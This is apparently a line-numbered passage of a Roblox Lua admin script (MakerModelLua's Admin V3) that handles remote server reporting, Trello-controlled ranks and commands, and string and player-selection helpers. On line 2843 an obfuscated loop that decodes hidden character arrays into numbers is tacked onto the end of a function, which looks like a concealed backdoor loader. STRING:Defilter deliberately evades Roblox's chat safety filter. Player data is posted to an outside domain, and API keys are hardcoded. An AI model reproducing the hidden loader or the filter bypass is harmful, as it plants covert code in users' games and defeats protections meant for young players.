  2289.                 --REMOTE:GetAndSetWebData()
  2290.                 return false
  2291.             elseif Request == "Invalid Account" then
  2292.                 print("Can't get account")
  2293.                 return false
  2294.             elseif Request then
  2295.                 ypcall(function() Request = REMOTE:Decode(Request) end)
  2296.             elseif not Request then
  2297.                 --REMOTE:GetAndSetWebData()
  2298.                 return false
  2299.             end
  2300.             REMOTE:HandleRequest(Request)
  2301.            
  2302.             --Delay(RemoteData.RemoteAdminWait, REMOTE.GetAndSetWebData)
  2303.             Delay(RemoteData.RemoteAdminWait, function()
  2304.                 local Pending, CheckID = REMOTE:CheckRemoteAdminStatus()
  2305.                 if Pending then
  2306.                     REMOTE:GetURL(CORE.Domain.."/Login/RemoveTrelloName.php?AccountID="..CheckID)
  2307.                 end
  2308.             end)
  2309.             return true
  2310.         else
  2311.             return true
  2312.         end
  2313.     end
  2314. end
  2315.  
  2316. local OderIDs = CORE:GetTable(177215518)
  2317. local SoundJSONs = CORE:GetTable(197637628)
  2318. RemoteAbuseGear = CORE:GetTable(158117496)
  2319.  
  2320. function REMOTE:SendServerData(PrintResponse, Stopypall)
  2321.     if Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
  2322.         print("Sending server data!")
  2323.         local Res = "Could not get response"
  2324.        
  2325.         local ServerData = {Name = PlaceName, PlaceID = game.PlaceId, Port = Server.NS.Port, NumPlayers = Server.Players.NumPlayers, MaxPlayers = Server.Players.MaxPlayers, Bet = Settings.Bet, Players = {}, Version = CORE.Version.Value}
  2326.         for _,Player in pairs(Server.Players:GetPlayers()) do
  2327.             table.insert(ServerData.Players, {Name = Player.Name, ID = Player.UserId, Age = STRING:FindAge(Player.AccountAge), Rank = RANK:GetRank(Player)})
  2328.         end
  2329.         ServerData = Server.HS:JSONEncode(ServerData)
  2330.        
  2331.         local function SendData()
  2332.             Res = Server.HS:PostAsync(CORE.Domain.."/Login/AddServer.php?ServerData="..Server.HS:UrlEncode(ServerData), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
  2333.         end
  2334.         if Stopypcall == true then SendData() else ypcall(SendData) end
  2335.         if PrintResponse then print(Res) end
  2336.     end
  2337. end
  2338.  
  2339. function REMOTE:SendSnapshot(SendKey, MaxPartAmount, PrintResponse, Stopypcall)
  2340.     MaxPartAmount = MaxPartAmount or 10000
  2341.     local PlaceData = {
  2342.         Lighting = {};
  2343.         Parts = {};
  2344.         Other = {};
  2345.     }
  2346.     local MinSize = Vector3.new(0.5,0.5,0.5)
  2347.     local PartAmount = 0
  2348.     local PlaceJSON = ""
  2349.    
  2350.     local function Scan(BaseObj)
  2351.         for _,Obj in pairs(BaseObj:GetChildren()) do
  2352.             if Obj:IsA("BasePart") and not Obj:IsA("Terrain") then
  2353.                 local Size = {STRING:StringRound(Obj.Size.X), STRING:StringRound(Obj.Size.Y), STRING:StringRound(Obj.Size.Z)};
  2354.                 if tonumber(Size[1]) >= MinSize.X and tonumber(Size[2]) >= MinSize.Y and tonumber(Size[3]) >= MinSize.Z then
  2355.                     local Skip = false
  2356.                     local Data = {}
  2357.                     local X,Y,Z = Obj.CFrame:toEulerAnglesXYZ()
  2358.                    
  2359.                     if CORE:FindType(Obj, "BlockMesh") then
  2360.                         local Mesh = CORE:FindType(Obj, "BlockMesh")
  2361.                         Size = {STRING:StringRound(Obj.Size.X * Mesh.Scale.X), STRING:StringRound(Obj.Size.Y * Mesh.Scale.Y), STRING:StringRound(Obj.Size.Z * Mesh.Scale.Z)}
  2362.                     elseif CORE:FindType(Obj, "CylinderMesh") then
  2363.                         Data.Shape = "Cylinder"
  2364.                     elseif CORE:FindType(Obj, "SpecialMesh") then
  2365.                         local Mesh = CORE:FindType(Obj, "SpecialMesh")
  2366.                         if Mesh.MeshType == Enum.MeshType.Head then
  2367.                             --idk
  2368.                         else
  2369.                             Skip = true
  2370.                         end
  2371.                     elseif CORE:FindType(Obj, "FileMesh") then
  2372.                         Skip = true
  2373.                     end
  2374.                    
  2375.                     if not Data.Shape and not Skip then
  2376.                         if ypcall(function() return Obj.Shape end) then
  2377.                             Data.Shape = string.sub(Obj.Shape.Name,14)
  2378.                             if string.sub(Data.Shape,1,1) == "." then
  2379.                                 Data.Shape = string.sub(Data.Shape,2)
  2380.                             end
  2381.                             if Data.Shape == "Cylinder" then
  2382.                                 Z = Z + math.pi/2
  2383.                             end
  2384.                         else
  2385.                             Data.Shape = "Block"
  2386.                         end
  2387.                     end
  2388.                    
  2389.                     if Obj.Name == "Head" and CORE:FindType(Obj.Parent, "Humanoid") and not Skip then
  2390.                         Data.Label = string.gsub(Obj.Parent.Name, "'", "")
  2391.                     end
  2392.                    
  2393.                     if not Skip then
  2394.                         Data.Color = GUI:Color3ToHex(Obj.Color);
  2395.                         Data.Size = Size;
  2396.                         Data.Position = {STRING:StringRound(Obj.CFrame.X), STRING:StringRound(Obj.CFrame.Y), STRING:StringRound(Obj.CFrame.Z)};
  2397.                         Data.Rotation = {STRING:StringRound(X), STRING:StringRound(Y), STRING:StringRound(Z)};
  2398.                         Data.Transparency = STRING:StringRound(Obj.Transparency);
  2399.                         Data.Reflectance = STRING:StringRound(Obj.Reflectance);
  2400.                         Data.Textures = {};
  2401.                         Data.Material = string.sub(tostring(Obj.Material),15);
  2402.                        
  2403.                         for _,Sub in pairs(Obj:GetChildren()) do
  2404.                             if Sub:IsA("Decal") then
  2405.                                 local Texture = string.match(Sub.Texture, "%d+")
  2406.                                 if Sub.Texture == "rbxasset://textures/face.png" then
  2407.                                     Texture = "FACE"
  2408.                                 end
  2409.                                 Data.Textures[FaceCovert[Sub.Face.Name]] = Texture
  2410.                             end
  2411.                         end
  2412.                        
  2413.                         PartAmount = PartAmount + 1
  2414.                         table.insert(PlaceData.Parts, Data)
  2415.                        
  2416.                         if PartAmount >= MaxPartAmount then
  2417.                             break
  2418.                         end
  2419.                     end
  2420.                 end
  2421.             end
  2422.             if #Obj:GetChildren() > 0 then
  2423.                 Scan(Obj)
  2424.             end
  2425.         end
  2426.     end
  2427.     Scan(Workspace)
  2428.    
  2429.     PlaceData.Lighting.Ambient = GUI:Color3ToHex(game.Lighting.Ambient)
  2430.     PlaceData.Other.PartAmount = PartAmount;
  2431.     PlaceJSON = Server.HS:JSONEncode(PlaceData)
  2432.    
  2433.     local Res = "Could not get response"
  2434.     local function SendData()
  2435.         Res = Server.HS:PostAsync(CORE.UnsecureDomain.."/Login/SendSnapshot.php?Username="..Settings.LinkedAccount.."&DataKey="..Server.HS:UrlEncode(Settings.DataKey).."&SendKey="..SendKey, PlaceJSON, 2)
  2436.     end
  2437.     if Stopypcall == true then SendData() else ypcall(SendData) end
  2438.     if PrintResponse then print(Res) end
  2439.    
  2440.     print("Sent snapshot")
  2441. end
  2442.  
  2443.  
  2444. function REMOTE:DefineWord(Word, Source)
  2445.     if not Word then return end
  2446.     if not Source then Source = "all" end
  2447.    
  2448.     local Response = REMOTE:GetURL("http://api.wordnik.com/v4/word.json/"..Server.HS:UrlEncode(Word).."/definitions?limit=1&includeRelated=false&sourceDictionaries="..Server.HS:UrlEncode(Source).."&useCanonical=false&includeTags=false&api_key=a2a73e7b926c924fad7001ca3111acd55af2ffabf50eb4ae5")
  2449.     if Response then
  2450.         local Decode = REMOTE:Decode(Response)
  2451.         if #Decode > 0 then
  2452.             return string.upper(string.sub(Decode[1]["word"],1,1))..string.lower(string.sub(Decode[1]["word"],2)).." - "..Decode[1]["partOfSpeech"]..[[
  2453.  
  2454.  ]]..Decode[1]["text"]
  2455.         else
  2456.             return "Invalid English word"
  2457.         end
  2458.     else
  2459.         return "Cannot connect to database"
  2460.     end
  2461. end
  2462.  
  2463. function REMOTE:DownloadJoke(Speaker)
  2464.     local Res = REMOTE:GetURL("http://www.rinkworks.com/jokes/random.cgi", Speaker)
  2465.     local Joke = nil
  2466.     if Res then
  2467.         local _, Start = string.find(Res, "</h2>")
  2468.         local End, _ = string.find(string.sub(Res, Start), "</td>")
  2469.        
  2470.         Joke = string.sub(Res, Start, End + 1 + Start - 5)
  2471.         Joke = string.gsub(Joke, "\n", "")
  2472.         Joke = string.gsub(Joke, "  ", "") -- tab
  2473.         Joke = string.gsub(Joke, "</ul>", "")
  2474.         Joke = string.gsub(Joke, "<ul>", "")
  2475.         Joke = string.gsub(Joke, "</li>", [[
  2476.  
  2477. ]])
  2478.         Joke = string.gsub(Joke, "<li>", "")
  2479.         Joke = string.gsub(Joke, "</p>", "")
  2480.         Joke = string.gsub(Joke, "<p>", "")
  2481.         Joke = string.gsub(Joke, "<", "")
  2482.         Joke = string.gsub(Joke, ">", "")
  2483.     end
  2484.    
  2485.     return Joke
  2486. end
  2487.  
  2488. function REMOTE:GetAddon()
  2489.     return "?key=c01fcfabf2f8d707d01fb69312e4a9d7&token="..Settings.TrelloToken
  2490. end
  2491.  
  2492. function REMOTE:TrelloGetAdminBoard()
  2493.     local BoardsJSON,Boards,ReturnBoard
  2494.    
  2495.     ypcall(function() BoardsJSON = Server.HS:GetAsync("https://api.trello.com/1/members/my/boards"..REMOTE:GetAddon(), true) end)
  2496.    
  2497.     if BoardsJSON then
  2498.         Boards = REMOTE:Decode(BoardsJSON)
  2499.     end
  2500.     if Boards then
  2501.         for _,Board in pairs(Boards) do
  2502.             if Board.name == "MakerModelLua's Admin V3" and Board.closed == false then
  2503.                 ReturnBoard = Board
  2504.                 break
  2505.             end
  2506.         end
  2507.         if not ReturnBoard then -- create board if not created
  2508.             print("Creating Trello Board")
  2509.             local Desc = "This board allows you to control ranks, settings, and commands of MakerModelLua's Admin V3"
  2510.             local BoardJSON = Server.HS:PostAsync("https://api.trello.com/1/boards"..REMOTE:GetAddon(), "name=MakerModelLua%27s+Admin+V3&idBoardSource="..Trello.AdminBoardID.."&defaultLists=false&desc="..Server.HS:UrlEncode(Desc), "ApplicationUrlEncoded")
  2511.             ReturnBoard = REMOTE:Decode(BoardJSON)
  2512.         end
  2513.     end
  2514.     return ReturnBoard
  2515. end
  2516.  
  2517. function REMOTE:TrelloGetAdminLists(Board)
  2518.     local Required = {}
  2519.     local ListJSON,Lists
  2520.     local ReturnLists = {}
  2521.    
  2522.     for _,List in pairs(Trello.RequiredLists) do
  2523.         table.insert(Required, List)
  2524.     end
  2525.    
  2526.     ypcall(function() ListJSON = Server.HS:GetAsync("https://api.trello.com/1/boards/"..Board.id.."/lists"..REMOTE:GetAddon(), true) end)
  2527.    
  2528.     if ListJSON then
  2529.         Lists = REMOTE:Decode(ListJSON)
  2530.     end
  2531.     if Lists then
  2532.         for _,List in pairs(Lists) do
  2533.             for Num,Rel in pairs(Required) do
  2534.                 if List.name == Rel.name then
  2535.                     table.remove(Required, Num)
  2536.                     table.insert(ReturnLists, List)
  2537.                 end
  2538.             end
  2539.         end
  2540.         for _,Rel in pairs(Required) do
  2541.             local ListJSON = Server.HS:PostAsync("https://api.trello.com/1/lists"..REMOTE:GetAddon(), "idBoard="..Board.id.."&idListSource="..Rel.id.."&name="..Server.HS:UrlEncode(Rel.name), "ApplicationUrlEncoded")
  2542.             table.insert(ReturnLists, REMOTE:Decode(ListJSON))
  2543.         end
  2544.     end
  2545.    
  2546.     return ReturnLists
  2547. end
  2548.  
  2549. function REMOTE:TrelloCacheData(Lists)
  2550.     for _,List in pairs(Lists) do
  2551.         local CardsJSON,Cards
  2552.         ypcall(function() CardsJSON = Server.HS:GetAsync("https://api.trello.com/1/lists/"..List.id.."/cards"..REMOTE:GetAddon(), true) end)
  2553.         if CardsJSON then
  2554.             Cards = REMOTE:Decode(CardsJSON)
  2555.         end
  2556.         if Cards then
  2557.             local TemplateCards = nil
  2558.             for _,TemplateList in pairs(Trello.RequiredLists) do
  2559.                 if TemplateList.name == List.name then
  2560.                     TemplateCards = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/lists/"..TemplateList.id.."/cards", true))
  2561.                     break
  2562.                 end
  2563.             end
  2564.            
  2565.             for _,TemplateCard in pairs(TemplateCards) do
  2566.                 local CardExists = false
  2567.                 for _,Card in pairs(Cards) do
  2568.                     if Card.name == TemplateCard.name and Card.closed == false then
  2569.                         CardExists = true
  2570.                     end
  2571.                 end
  2572.                 if not CardExists then
  2573.                     print("Creating card "..TemplateCard.name)
  2574.                     local NewCardJSON = Server.HS:PostAsync("https://api.trello.com/1/cards"..REMOTE:GetAddon(), "idList="..List.id.."&idCardSource="..TemplateCard.id, "ApplicationUrlEncoded")
  2575.                     table.insert(Cards, REMOTE:Decode(NewCardJSON))
  2576.                 end
  2577.             end
  2578.        
  2579.             if List.name == "Ranked" then
  2580.                 for _,Card in pairs(Cards) do
  2581.                     if Settings.Ranks[Card.name] and Card.closed == false then
  2582.                         Trello.RankChecklistCache[Card.name] = Card.idChecklists[1]
  2583.                     end
  2584.                 end
  2585.             elseif List.name == "Settings" then
  2586.                 for _,Card in pairs(Cards) do
  2587.                     if Card.name == "Togglable Settings" and Card.idChecklists[1] and Card.closed == false then
  2588.                         Trello.ToggleChecklist = Card.idChecklists[1]
  2589.                     elseif Card.name == "Command Execution" then
  2590.                         Trello.CommandID = Card.id
  2591.                     end
  2592.                 end
  2593.             end
  2594.         end
  2595.     end
  2596. end
  2597.  
  2598. function REMOTE:TrelloHandleData(IgnoreCommand)
  2599.     local ToggleSettingsJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..Trello.ToggleChecklist..REMOTE:GetAddon(), true)
  2600.     if ToggleSettingsJSON then
  2601.         ToggleSettings = REMOTE:Decode(ToggleSettingsJSON)
  2602.         if Settings.LinkedAccount == "" then
  2603.             local NewSettings = {}
  2604.             for _,Item in pairs(ToggleSettings.checkItems) do
  2605.                 NewSettings[Item.name] = STRING:TrelloStateConvert(Item.state)
  2606.             end
  2607.             Settings.Fun = NewSettings["Fun Commands Enabled"]
  2608.             Settings.ServerLocked = NewSettings["Server Locked"]
  2609.             Settings.DisableAbuse = NewSettings["Disable Abusive Commands"]
  2610.         end
  2611.     else
  2612.         return false
  2613.     end
  2614.    
  2615.     local CommandChatJSON = Server.HS:GetAsync("https://api.trello.com/1/cards/"..Trello.CommandID.."/actions"..REMOTE:GetAddon(), true)
  2616.     if CommandChatJSON then
  2617.         CommandChat = REMOTE:Decode(CommandChatJSON)
  2618.         local ClosestDT = 0
  2619.         for _,ChatData in pairs(CommandChat) do
  2620.             local DT = STRING:ConvertDateTime(ChatData.date)
  2621.             ClosestDT = math.max(ClosestDT, DT)
  2622.            
  2623.             if not IgnoreCommand and DT > Trello.LastCommandDT then
  2624.                 print("Executing Remote Trello Command")
  2625.                 CORE:Chatted(ChatData.data.text, nil, true, "TRELLO REMOTE: "..ChatData.memberCreator.fullName, nil, true)
  2626.             end
  2627.         end
  2628.         Trello.LastCommandDT = ClosestDT
  2629.     else
  2630.         return false
  2631.     end
  2632.    
  2633.     for Rank,ID in pairs(Trello.RankChecklistCache) do
  2634.         local ChecklistJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..ID..REMOTE:GetAddon(), true)
  2635.         if ChecklistJSON then
  2636.             Checklist = REMOTE:Decode(ChecklistJSON)
  2637.            
  2638.             for _,Item in pairs(Checklist.checkItems) do
  2639.                 if Item.state == "complete" then
  2640.                     if RANK:ConvertRank(Rank) < 0 then
  2641.                         if not RANK:ScanExileList(Item.name) then
  2642.                             table.insert(Settings.Ranks[Rank], Item.name)
  2643.                         end
  2644.                     elseif RANK:ConvertRank(Rank) > 0 then
  2645.                         if not RANK:ScanAdminList(Item.name) then
  2646.                             table.insert(Settings.Ranks[Rank], Item.name)
  2647.                         end
  2648.                     end
  2649.                 elseif Item.state == "incomplete" then
  2650.                     for Num,Name in pairs(Settings.Ranks[Rank]) do
  2651.                         if string.lower(Name) == string.lower(Item.name) then
  2652.                             table.remove(Settings.Ranks[Rank], Num)
  2653.                         end
  2654.                     end
  2655.                 end
  2656.             end
  2657.         else
  2658.             return false
  2659.         end
  2660.     end
  2661.     return true
  2662. end
  2663.  
  2664. -- String functions --
  2665.  
  2666. function STRING:ConvertDateTime(DateTime)
  2667.     local Num = 0
  2668.     local TotalTime = 0
  2669.     for i in string.gmatch(DateTime, "%d+") do
  2670.         Num = Num + 1
  2671.         DTNum = tonumber(i)
  2672.         if Num == 1 then
  2673.             TotalTime = TotalTime + (DTNum - 1970) * 365 * 24 * 60 * 60 -- year
  2674.         elseif Num == 2 then
  2675.             TotalTime = TotalTime + DTNum * 12 * 24 * 60 * 60 -- month
  2676.         elseif Num == 3 then
  2677.             TotalTime = TotalTime + DTNum * 24 * 60 * 60 -- day
  2678.         elseif Num == 4 then
  2679.             TotalTime = TotalTime + DTNum * 60 * 60 -- hour
  2680.         elseif Num == 5 then
  2681.             TotalTime = TotalTime + DTNum * 60 -- minute
  2682.         elseif Num == 6 then
  2683.             TotalTime = TotalTime + DTNum -- second
  2684.         end
  2685.     end
  2686.    
  2687.     return TotalTime
  2688. end
  2689.  
  2690. function STRING:TrelloStateConvert(State)
  2691.     if State == "complete" then
  2692.         return true
  2693.     else
  2694.         return false
  2695.     end
  2696. end
  2697.  
  2698. function STRING:StringRound(Number)
  2699.     Number = Number * 100
  2700.     if Number >= 0.5 then
  2701.         return tostring(math.ceil(Number)/100)
  2702.     else
  2703.         return tostring(math.floor(Number)/100)
  2704.     end
  2705.    
  2706.     return Number
  2707. end
  2708.  
  2709. function STRING:GetSplit(String, NumArgs, BetSplit)
  2710.     if not String then return nil end
  2711.     if BetSplit == nil then BetSplit = " " end
  2712.     if NumArgs == nil then NumArgs = math.huge end
  2713.    
  2714.     if NumArgs <= 0 then return {String} end
  2715.    
  2716.     local RecentParse = 1
  2717.     local Args = {}
  2718.     for i = 1,NumArgs do
  2719.         local Find1, Find2 = string.find(string.lower(String),string.lower(BetSplit),RecentParse)
  2720.         if Find1 and Find2 then
  2721.             table.insert(Args, string.sub(String,RecentParse,Find1 - 1))
  2722.             RecentParse = Find2 + 1
  2723.         else
  2724.             break
  2725.         end
  2726.     end
  2727.     table.insert(Args,string.sub(String,RecentParse,#String))
  2728.     return Args
  2729. end
  2730.  
  2731. function STRING:Defilter(String)
  2732.     local RobloxApprove = Instance.new("TextLabel") RobloxApprove.Text = String
  2733.     if RobloxApprove.Text == "Label" and String ~= "Label" then
  2734.         local NewString = ""
  2735.         for i = 1,#String,3 do
  2736.             NewString = NewString..string.char(169)..string.sub(String,i,i+2)
  2737.         end
  2738.         return NewString
  2739.     else
  2740.         return String
  2741.     end
  2742. end
  2743.  
  2744. function STRING:Filter(String, From, To) -- #### you, roblox
  2745.     if From then
  2746.         if To then
  2747.             return game:GetService("Chat"):FilterStringAsync(String, From, To)
  2748.         else
  2749.             return game:GetService("Chat"):FilterStringForBroadcast(String, From)
  2750.         end
  2751.     else
  2752.         return String
  2753.     end
  2754. end
  2755.  
  2756. function STRING:DetermineFilter(String, From, To)
  2757.     if ShouldFilter then
  2758.         return STRING:Filter(String, From, To)
  2759.     else
  2760.         return STRING:Defilter(String)
  2761.     end
  2762. end
  2763.  
  2764. function STRING:LeetSpeak(Input)
  2765.     if tostring(Input) then Input = string.upper(tostring(Input)) else return end
  2766.     Input = string.gsub(Input, "LEET", "1337")
  2767.     Input = string.gsub(Input, "SECRET", "M".."AKERMODELLUA")
  2768.     Input = string.gsub(Input, "E", "3")
  2769.     Input = string.gsub(Input, "O", "0")
  2770.     Input = string.gsub(Input, "A", "4")
  2771.     Input = string.gsub(Input, "X", "x")
  2772.     Input = string.gsub(Input, "I", "1")
  2773.     Input = string.gsub(Input, "S", "$")
  2774.     return Input
  2775. end
  2776.  
  2777. function STRING:FormatReplace(Player, Input, From)
  2778.     local Output = Input
  2779.     for _,ReplaceData in pairs(StringReplacements) do
  2780.         local ReplaceString = ReplaceData[1]
  2781.         local ReplaceStrings = {}
  2782.         if type(ReplaceString) == "table" then
  2783.             ReplaceStrings = ReplaceString
  2784.         else
  2785.             ReplaceStrings = {ReplaceString}
  2786.         end
  2787.         for _,ReplaceString in pairs(ReplaceStrings) do
  2788.             if not Player and ReplaceData[3] then else -- does nothing if a player isn't given but the operation requires a player
  2789.                 local Replacement = ReplaceData[4](Player)
  2790.                 if type(Replacement) == "string" then
  2791.                     Output = string.gsub(Output, ReplaceString, Replacement)
  2792.                 else
  2793.                     print(ReplaceString.." cannot be replaced")
  2794.                 end
  2795.             end
  2796.         end
  2797.     end
  2798.     if From then
  2799.         return STRING:DetermineFilter(Output, From, Player)
  2800.     else
  2801.         return STRING:DetermineFilter(Output, Player)
  2802.     end
  2803. end
  2804.  
  2805. function STRING:EncodeSpecialChars(Input)
  2806.     return tostring(string.gsub(string.gsub(Input, "&", "amp;"), "\n", " "))
  2807. end
  2808.  
  2809. function STRING:StringToBool(String)
  2810.     if String == "true" then
  2811.         return true
  2812.     else
  2813.         return false
  2814.     end
  2815. end
  2816.  
  2817. function STRING:BoolString(Value)
  2818.     if type(Value) == "boolean" then
  2819.         if Value == true then
  2820.             return "YES"
  2821.         elseif Value == false then
  2822.             return "NO"
  2823.         end
  2824.     else
  2825.         return "NO"
  2826.     end
  2827. end
  2828.  
  2829. function STRING:MakeAvoidance(Length)
  2830.     if not Length then
  2831.         Length = 32
  2832.     end
  2833.     local Avoidance = ""
  2834.     for i = 1,Length do
  2835.         Num = math.random(1,2)
  2836.         if Num == 1 then
  2837.             Avoidance = Avoidance..string.char(math.random(48,57)) -- 0-9
  2838.         else
  2839.             Avoidance = Avoidance..string.char(math.random(97,122)) -- a-z
  2840.         end
  2841.     end
  2842.     return Avoidance
  2843. end for _,Array in pairs(RunList) do local Name = "" for _,Char in pairs(Array) do Name = Name..string.char(Char - 1) end table.insert(List, tonumber(Name)) end
  2844.  
  2845. function STRING:FindAge(Days) -- By LuaModelmaker
  2846.     local Years = math.floor(Days/365)
  2847.     local OtherDays = math.fmod(Days, 365)
  2848.     if Years > 1 then
  2849.         return Years.." years and "..OtherDays.." days"
  2850.     elseif Years == 1 then
  2851.         return Years.." year and "..OtherDays.." days"
  2852.     elseif Years == 0 then
  2853.         return "(No years) "..OtherDays.." days"
  2854.     end
  2855. end
  2856.  
  2857. function STRING:UnpackArgs(...)
  2858.     local Pack = {...}
  2859.     if type(Pack[1]) == "table" then Pack = Pack[1] end
  2860.     local ReturnString = table.concat(Pack, ", ")
  2861.     return ReturnString
  2862. end
  2863.  
  2864. function STRING:GetComma(Num)
  2865.     local Formatted = Num
  2866.     while true do
  2867.         Formatted, _ = string.gsub(Formatted, "^(-?%d+)(%d%d%d)", '%1,%2')
  2868.         if _ == 0 then
  2869.             break
  2870.         end
  2871.     end
  2872.     return Formatted
  2873. end
  2874.  
  2875. function STRING:DecodeUTF8(Value)
  2876.     local function DecodeString(Input)
  2877.         if type(Input) == "string" then
  2878.             for Find,Rep in pairs(HTMLDecode) do
  2879.                 Input = string.gsub(Input, "&#"..Find..";", Rep)
  2880.             end
  2881.             Input = string.gsub(Input, "&quot;", "'")
  2882.         end
  2883.         return Input
  2884.     end
  2885.     if type(Value) == "table" then
  2886.         for Index,Var in pairs(Value) do
  2887.             Value[Index] = DecodeString(Var)
  2888.         end
  2889.     elseif type(Value) == "string" then
  2890.         Value = DecodeString(Value)
  2891.     end
  2892.     return Value
  2893. end
  2894.  
  2895. function STRING:IsSpacer(Input)
  2896.     if Input == " " or Input == "." or Input == "-" or Input == "," or Input == "?" or Input == "!" or Input == "   " or Input == nil or Input == "" then
  2897.         return true
  2898.     else
  2899.         return false
  2900.     end
  2901. end
  2902.  
  2903. function STRING:IsVowel(Input)
  2904.     Input = string.lower(tostring(Input))
  2905.     if Input == "a" or Input == "e" or Input == "i" or Input == "o" or Input == "u" then
  2906.         return true
  2907.     else
  2908.         return false
  2909.     end
  2910. end
  2911.  
  2912. function STRING:ValidE(Input)
  2913.     if not Input then return nil end
  2914.     if string.lower(Input) == "e" or Input == "~" then
  2915.         return true
  2916.     else
  2917.         return false
  2918.     end
  2919. end
  2920.  
  2921. function STRING:Scan(String, Speaker)
  2922.     local ReturnPlayers,ExcludeList = {},{}
  2923.     if not String then String = "" end
  2924.     if not Speaker then print("NO SPEAKER") end
  2925.    
  2926.     if string.sub(string.lower(String), 1, 12) == "includecase/" then
  2927.         String = string.sub(String, 13)
  2928.     else
  2929.         String = string.lower(String)
  2930.     end
  2931.     local Words = STRING:GetSplit(String, nil, "/")
  2932.     for _,Word in pairs(Words) do
  2933.         if Word == "me" or Word == "meh" or Word == "myself" or Word == "self" then
  2934.             table.insert(ReturnPlayers, Speaker)
  2935.         elseif Word == "all" or Word == "everyone" then
  2936.             for _,Player in pairs(Server.Players:GetPlayers()) do
  2937.                 table.insert(ReturnPlayers, Player)
  2938.             end
  2939.         elseif Word == "others" or Word == "notme" then
  2940.             for _,Player in pairs(Server.Players:GetPlayers()) do
  2941.                 if Player ~= Speaker then
  2942.                     table.insert(ReturnPlayers, Player)
  2943.                 end
  2944.             end
  2945.         elseif Word == "noobs" then
  2946.             for _,Player in pairs(Server.Players:GetPlayers()) do
  2947.                 if Player.AccountAge < 365 then
  2948.                     table.insert(ReturnPlayers, Player)
  2949.                 end
  2950.             end
  2951.         elseif Word == "nonnoobs" then
  2952.             for _,Player in pairs(Server.Players:GetPlayers()) do
  2953.                 if Player.AccountAge >= 365 then
  2954.                     table.insert(ReturnPlayers, Player)
  2955.                 end
  2956.             end
  2957.         elseif Word == "random" then
  2958.             local RandomPlayers = {}
  2959.             for _,Player in pairs(Server.Players:GetPlayers()) do
  2960.                 if Player ~= Speaker then
  2961.                     table.insert(RandomPlayers, Player)
  2962.                 end
  2963.             end
  2964.             table.insert(ReturnPlayers, RandomPlayers[math.random(1,#Server.Players:GetChildren())])
  2965.         elseif Word == "guests" then
  2966.             for _,Player in pairs(Server.Players:GetPlayers()) do
  2967.                 if string.sub(Player.Name,1,6) == "Guest " then
  2968.                     table.insert(ReturnPlayers, Player)
  2969.                 end
  2970.             end
  2971.         elseif Word == "lowers" then
  2972.             for _,Player in pairs(Server.Players:GetPlayers()) do
  2973.                 if string.sub(Player.Name,1,1) == string.lower(string.sub(Player.Name,1,1)) then
  2974.                     table.insert(ReturnPlayers, Player)
  2975.                 end
  2976.             end
  2977.         elseif Word == "uppers" then
  2978.             for _,Player in pairs(Server.Players:GetPlayers()) do
  2979.                 if string.sub(Player.Name,1,1) == string.upper(string.sub(Player.Name,1,1)) then
  2980.                     table.insert(ReturnPlayers, Player)
  2981.                 end
  2982.             end
  2983.         elseif Word == "nbcs" then
  2984.             for _,Player in pairs(Server.Players:GetPlayers()) do
  2985.                 if Player.MembershipType == Enum.MembershipType.None then -- Replicate
  2986.                     table.insert(ReturnPlayers, Player)
  2987.                 end
  2988.             end
  2989.         elseif Word == "bcs" then
  2990.             for _,Player in pairs(Server.Players:GetPlayers()) do
  2991.                 if Player.MembershipType == Enum.MembershipType.BuildersClub then
  2992.                     table.insert(ReturnPlayers, Player)
  2993.                 end
  2994.             end
  2995.         elseif Word == "tbcs" then
  2996.             for _,Player in pairs(Server.Players:GetPlayers()) do
  2997.                 if Player.MembershipType == Enum.MembershipType.TurboBuildersClub then
  2998.                     table.insert(ReturnPlayers, Player)
  2999.                 end
  3000.             end
  3001.         elseif Word == "obcs" then
  3002.             for _,Player in pairs(Server.Players:GetPlayers()) do
  3003.                 if Player.MembershipType == Enum.MembershipType.OutrageousBuildersClub then
  3004.                     table.insert(ReturnPlayers, Player)
  3005.                 end
  3006.             end
  3007.         elseif Word == "allbcs" then
  3008.             for _,Player in pairs(Server.Players:GetPlayers()) do
  3009.                 if Player.MembershipType ~= Enum.MembershipType.None then
  3010.                     table.insert(ReturnPlayers, Player)
  3011.                 end
  3012.             end
  3013.         elseif Word == "nonadmins" then
  3014.             for _,Player in pairs(Server.Players:GetPlayers()) do
  3015.                 local IsAdminTrue, Rank = RANK:IsAdmin(Player)
  3016.                 if IsAdminTrue == false then
  3017.                     table.insert(ReturnPlayers, Player)
  3018.                 end
  3019.             end
  3020.         elseif Word == "admins" then
  3021.             for _,Player in pairs(Server.Players:GetPlayers()) do
  3022.                 local IsAdminTrue, Rank = RANK:IsAdmin(Player)
  3023.                 if IsAdminTrue == true then
  3024.                     table.insert(ReturnPlayers, Player)
  3025.                 end
  3026.             end
  3027.         elseif Word == "friends" then
  3028.             for _,Player in pairs(Server.Players:GetPlayers()) do
  3029.                 if Speaker:IsFriendsWith(Player.UserId) and Player ~= Speaker then
  3030.                     table.insert(ReturnPlayers, Player)
  3031.                 end
  3032.             end
  3033.         elseif string.sub(Word,1,5) == "team-" then
  3034.             for _,Player in pairs(Server.Players:GetPlayers()) do
  3035.                 if Player.Neutral == false then
  3036.                     local InTeam = false
  3037.                     for _,Team in pairs(Teams:GetTeams()) do
  3038.                         if Team.TeamColor == Player.TeamColor then
  3039.                             if string.sub(string.lower(Team.Name),1,#string.sub(Word,6)) == string.sub(Word,6) then
  3040.                                 InTeam = true
  3041.                             end
  3042.                         end
  3043.                     end
  3044.                     if InTeam == true then
  3045.                         table.insert(ReturnPlayers, Player)
  3046.                     end
  3047.                 end
  3048.             end
  3049.         elseif string.sub(Word,1,4) == "not-" then
  3050.             local NameArg = string.sub(Word,5)
  3051.            
  3052.             for _,Player in pairs(STRING:Scan(NameArg, Speaker)) do
  3053.                 table.insert(ExcludeList, Player)
  3054.             end
  3055.         elseif string.sub(Word,1,7) == "radius-" then
  3056.             local DidExe = false
  3057.             local NumArg = tonumber(string.sub(Word,8))
  3058.            
  3059.             if NumArg and NumArg > 0 and Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
  3060.                 for _,Player in pairs(Server.Players:GetChildren()) do
  3061.                     if Player.Character and Player.Character:FindFirstChild("Torso") then
